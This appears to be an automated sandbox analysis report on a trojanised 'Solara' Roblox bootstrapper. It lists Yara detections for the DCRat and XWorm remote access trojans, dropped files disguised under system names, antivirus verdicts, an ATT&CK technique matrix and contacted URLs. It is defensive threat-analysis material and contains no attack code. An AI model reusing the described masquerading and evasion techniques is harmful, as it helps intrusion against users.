Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	Queries volume information: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe VolumeInformation
Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	Queries volume information: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe VolumeInformation
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Queries volume information: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe VolumeInformation
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Queries volume information: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe VolumeInformation
Source: C:\Program Files\Uninstall Information\smss.exe	Queries volume information: C:\Program Files\Uninstall Information\smss.exe VolumeInformation
Source: C:\Program Files\Uninstall Information\smss.exe	Queries volume information: C:\Program Files\Uninstall Information\smss.exe VolumeInformation
Source: C:\Program Files\Uninstall Information\smss.exe	Queries volume information: C:\Program Files\Uninstall Information\smss.exe VolumeInformation
Source: C:\Program Files\Uninstall Information\smss.exe	Queries volume information: C:\Program Files\Uninstall Information\smss.exe VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files\Uninstall Information\smss.exe	Queries volume information: C:\Program Files\Uninstall Information\smss.exe VolumeInformation
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Queries volume information: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Solara.Dir\Wpf.Ui.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Controls.Ribbon\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Controls.Ribbon.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Solara.Dir\Newtonsoft.Json.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Wpf.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\PresentationFramework-SystemXml\v4.0_4.0.0.0__b77a5c561934e089\PresentationFramework-SystemXml.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationTypes\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationTypes.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationProvider\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationProvider.dll VolumeInformation
Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation
Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	Queries volume information: C:\Windows\Fonts\segoeuib.ttf VolumeInformation
Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	Queries volume information: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\WidevineCdm\manifest.json VolumeInformation
Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	Queries volume information: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\Trust Protection Lists\manifest.json VolumeInformation
Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	Queries volume information: C:\Windows\System32\spool\drivers\color\sRGB Color Space Profile.icm VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat

Code function: 4_2_0078D5D4 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

4_2_0078D5D4

Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat

Code function: 4_2_0077ACF5 GetVersionExW,

4_2_0077ACF5

Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 0000000A.00000002.1449178331.000000001256D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fontreview.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fontreview.exe PID: 2288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fontreview.exe PID: 3272, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oiDIGxjWBeQtCtbxHEXanoHsv.exe PID: 1280, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oiDIGxjWBeQtCtbxHEXanoHsv.exe PID: 2852, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smss.exe PID: 4128, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smss.exe PID: 3404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smss.exe PID: 1644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smss.exe PID: 3800, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smss.exe PID: 1836, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oiDIGxjWBeQtCtbxHEXanoHsv.exe PID: 6916, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 2.0.Bootstrapper.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SolaraBootstrapper.exe.401867.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Bootstrapper.exe.4017d7.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Bootstrapper.exe.4017d7.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Bootstrapper.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SolaraBootstrapper.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.1357862507.00000000003E2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1374809013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SolaraBootstrapper.exe PID: 7488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bootstrapper.exe PID: 7568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bootstrapper.exe PID: 7584, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Bootstrapper.exe, type: DROPPED

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 0000000A.00000002.1449178331.000000001256D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fontreview.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fontreview.exe PID: 2288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fontreview.exe PID: 3272, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oiDIGxjWBeQtCtbxHEXanoHsv.exe PID: 1280, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oiDIGxjWBeQtCtbxHEXanoHsv.exe PID: 2852, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smss.exe PID: 4128, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smss.exe PID: 3404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smss.exe PID: 1644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smss.exe PID: 3800, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smss.exe PID: 1836, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oiDIGxjWBeQtCtbxHEXanoHsv.exe PID: 6916, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 2.0.Bootstrapper.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SolaraBootstrapper.exe.401867.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Bootstrapper.exe.4017d7.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Bootstrapper.exe.4017d7.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Bootstrapper.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SolaraBootstrapper.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.1357862507.00000000003E2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1374809013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SolaraBootstrapper.exe PID: 7488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bootstrapper.exe PID: 7568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bootstrapper.exe PID: 7584, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Bootstrapper.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	12 Scripting	Valid Accounts	211 Windows Management Instrumentation	12 Scripting	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	21 Registry Run Keys / Startup Folder	11 Process Injection	1 Abuse Elevation Control Mechanism	Security Account Manager	58 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	21 Registry Run Keys / Startup Folder	21 Obfuscated Files or Information	NTDS	951 Security Software Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	22 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	451 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	213 Masquerading	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	451 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SolaraBootstrapper.exe	74%	ReversingLabs	Win32.Trojan.ExNuma
SolaraBootstrapper.exe	52%	Virustotal		Browse
SolaraBootstrapper.exe	100%	Avira	HEUR/AGEN.1342265
SolaraBootstrapper.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files\Uninstall Information\smss.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	100%	Avira	HEUR/AGEN.1323984
C:\Media\fontreview.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\user\AppData\Local\Temp\Boostraper.bat	100%	Avira	VBS/Runner.VPG
C:\Program Files (x86)\Internet Explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\user\AppData\Local\Temp\435dd0df-e6f5-4928-a01c-a3ec10fbcbdd.vbs	100%	Avira	VBS/Runner.VPXJ
C:\ProgramData\Bootstrapper.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Media\TKlkLwYGTbrYwK.vbe	100%	Avira	VBS/Runner.VPG
C:\Program Files (x86)\Internet Explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files\Uninstall Information\smss.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	100%	Joe Sandbox ML
C:\Media\fontreview.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Boostraper.bat	100%	Joe Sandbox ML
C:\Program Files (x86)\Internet Explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe	100%	Joe Sandbox ML
C:\ProgramData\Bootstrapper.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Internet Explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe	100%	Joe Sandbox ML
C:\Media\fontreview.exe	81%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files (x86)\Internet Explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe	81%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	81%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files\Uninstall Information\smss.exe	81%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\ProgramData\Bootstrapper.exe	59%	ReversingLabs	Win32.Trojan.ExNuma
C:\ProgramData\SolaraBootstrapper.exe	13%	ReversingLabs	Win32.PUA.Packunwan
C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	81%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Users\user\AppData\Local\Temp\Boostraper.bat	68%	ReversingLabs	ByteCode-MSIL.Trojan.Uztuby
C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Core.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.WinForms.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Wpf.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\.bin\mime	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\.bin\mime.ps1	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\cli.js	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\src\build.js	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Newtonsoft.Json.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\WebView2Loader.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Wpf.Ui.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-convert-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-filesystem-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-locale-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-math-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-runtime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-stdio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.dll	17%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	25%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\cpr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\libcurl.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\msvcp140.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
edge-term4-fra2.roblox.com	0%	Virustotal	Browse
github.com	0%	Virustotal	Browse
raw.githubusercontent.com	0%	Virustotal	Browse
ip-api.com	0%	Virustotal	Browse
198.187.3.20.in-addr.arpa	1%	Virustotal	Browse
clientsettings.roblox.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.4399.com/flash/32979.htm	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/quivings/Solara/main/Storage/version.txt	0%	Avira URL Cloud	safe
https://www.4399.com/flash/180977_3.htm	0%	Avira URL Cloud	safe
https://www.4399.com/flash/127539_4.htm	0%	Avira URL Cloud	safe
http://foo/bar/controls/statusbar/statusbar.baml	0%	Avira URL Cloud	safe
http://www.4399.com/flash/32979.htm	0%	Virustotal		Browse
https://www.4399.com/flash/127539_4.htm	0%	Virustotal		Browse
https://www.4399.com/flash/180977_3.htm	0%	Virustotal		Browse
http://anglebug.com/4633	0%	Avira URL Cloud	safe
https://anglebug.com/7382	0%	Avira URL Cloud	safe
https://www.4399.com/flash/205462_4.htm	0%	Avira URL Cloud	safe
https://ncs.roblox.com/upload	0%	Avira URL Cloud	safe
https://www.4399.com/flash/145991_4.htm	0%	Avira URL Cloud	safe
http://www.chambersign.org1	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/quivings/Solara/main/Storage/version.txt.0	0%	Avira URL Cloud	safe
https://www.4399.com/flash/205462_4.htm	0%	Virustotal		Browse
https://www.4399.com/flash/39379_2.htm	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/quivings/Solara/main/Storage/version.txt	0%	Virustotal		Browse
https://anglebug.com/7382	0%	Virustotal		Browse
https://www.4399.com/flash/55146_4.htm	0%	Avira URL Cloud	safe
https://www.4399.com/flash/195673_4.htm	0%	Avira URL Cloud	safe
http://anglebug.com/4633	0%	Virustotal		Browse
http://unisolated.invalid/	0%	Avira URL Cloud	safe
https://www.4399.com/flash/145991_4.htm	0%	Virustotal		Browse
https://www.4399.com/flash/18012.htm	0%	Avira URL Cloud	safe
https://www.4399.com/flash/zmhj.htm#search3-6407	0%	Avira URL Cloud	safe
https://ncs.roblox.com/upload	0%	Virustotal		Browse
http://foo/Controls/ScrollViewer/ScrollViewer.xaml	0%	Avira URL Cloud	safe
https://www.4399.com/flash/55146_4.htm	0%	Virustotal		Browse
https://raw.githubusercontent.com/quivings/Solara/main/Storage/version.txt.0	0%	Virustotal		Browse
http://anglebug.com/6929	0%	Avira URL Cloud	safe
https://www.4399.com/flash/18012.htm	0%	Virustotal		Browse
https://www.4399.com/flash/195673_4.htm	0%	Virustotal		Browse
https://www.4399.com/flash/zmhj.htm#search3-6407	0%	Virustotal		Browse
http://foo/bar/controls/textblock/textblock.baml	0%	Avira URL Cloud	safe
https://www.4399.com/flash/217926_2.htm	0%	Avira URL Cloud	safe
https://www.4399.com/flash/218860_1.htm	0%	Avira URL Cloud	safe
http://defaultcontainer/Wpf.Ui;component/Controls/AccessText/AccessText.xaml	0%	Avira URL Cloud	safe
https://github.com/Microsoft/monaco-typescript/blob/master/LICENSE.md	0%	Avira URL Cloud	safe
https://www.4399.com/flash/39379_2.htm	0%	Virustotal		Browse
http://anglebug.com/6929	0%	Virustotal		Browse
https://anglebug.com/7246	0%	Avira URL Cloud	safe
https://www.4399.com/flash/218860_1.htm	0%	Virustotal		Browse
https://www.4399.com/flash/27924_2.htm	0%	Avira URL Cloud	safe
https://www.4399.com/flash/217926_2.htm	0%	Virustotal		Browse
https://anglebug.com/7369	0%	Avira URL Cloud	safe
https://anglebug.com/7246	0%	Virustotal		Browse
https://anglebug.com/7489	0%	Avira URL Cloud	safe
https://www.4399.com/flash/48504.htmhttps://www.4399.com/flash/48272_2.htm	0%	Avira URL Cloud	safe
https://www.4399.com/flash/18012_4.htm	0%	Avira URL Cloud	safe
https://www.4399.com/flash/27924_2.htm	0%	Virustotal		Browse
https://www.4399.com/flash/48504.htm	0%	Avira URL Cloud	safe
https://github.com/Microsoft/monaco-typescript/blob/master/LICENSE.md	0%	Virustotal		Browse
https://issuetracker.google.com/161903006	0%	Avira URL Cloud	safe
http://foo/bar/controls/treeview/treeview.baml	0%	Avira URL Cloud	safe
http://foo/bar/mainwindow.baml	0%	Avira URL Cloud	safe
https://www.4399.com/flash/18012_4.htm	0%	Virustotal		Browse
http://foo/MainWindow.xaml	0%	Avira URL Cloud	safe
https://www.4399.com/flash/48504.htm	1%	Virustotal		Browse
http://foo/Controls/ToggleSwitch/ToggleSwitch.xaml	0%	Avira URL Cloud	safe
http://anglebug.com/4722	0%	Avira URL Cloud	safe
https://www.4399.com/flash/zmhj.htm	0%	Avira URL Cloud	safe
https://anglebug.com/7489	0%	Virustotal		Browse
http://anglebug.com/4722	0%	Virustotal		Browse
https://anglebug.com/7369	0%	Virustotal		Browse
http://defaultcontainer/Wpf.Ui;component/Controls/TimePicker/TimePicker.xaml	0%	Avira URL Cloud	safe
http://foo/bar/controls/window/window.baml	0%	Avira URL Cloud	safe
http://foo/Controls/ThumbRate/ThumbRate.xaml	0%	Avira URL Cloud	safe
http://foo/icons8-open-file-40%20(1).png	0%	Avira URL Cloud	safe
https://www.4399.com/flash/69156_1.htm	0%	Avira URL Cloud	safe
https://issuetracker.google.com/161903006	0%	Virustotal		Browse
https://www.4399.com/flash/776_1.htm	0%	Avira URL Cloud	safe
http://129fy.ie.chalai.net	0%	Avira URL Cloud	safe
https://www.4399.com/flash/198637_4.htm	0%	Avira URL Cloud	safe
https://www.4399.com/flash/133630_4.htm	0%	Avira URL Cloud	safe
https://www.4399.com/flash/218717_2.htm	0%	Avira URL Cloud	safe
https://www.4399.com/flash/136516_3.htm	0%	Avira URL Cloud	safe
https://www.4399.com/flash/203215_3.htm	0%	Avira URL Cloud	safe
https://www.4399.com/flash/207195_4.htm	0%	Avira URL Cloud	safe
http://anglebug.com/3502	0%	Avira URL Cloud	safe
http://anglebug.com/3623	0%	Avira URL Cloud	safe
https://discovery.lenovo.com.cn/home062291	0%	Avira URL Cloud	safe
http://anglebug.com/3625	0%	Avira URL Cloud	safe
http://anglebug.com/3624	0%	Avira URL Cloud	safe
https://www.4399.com/flash/217855_4.htm	0%	Avira URL Cloud	safe
http://anglebug.com/3862	0%	Avira URL Cloud	safe
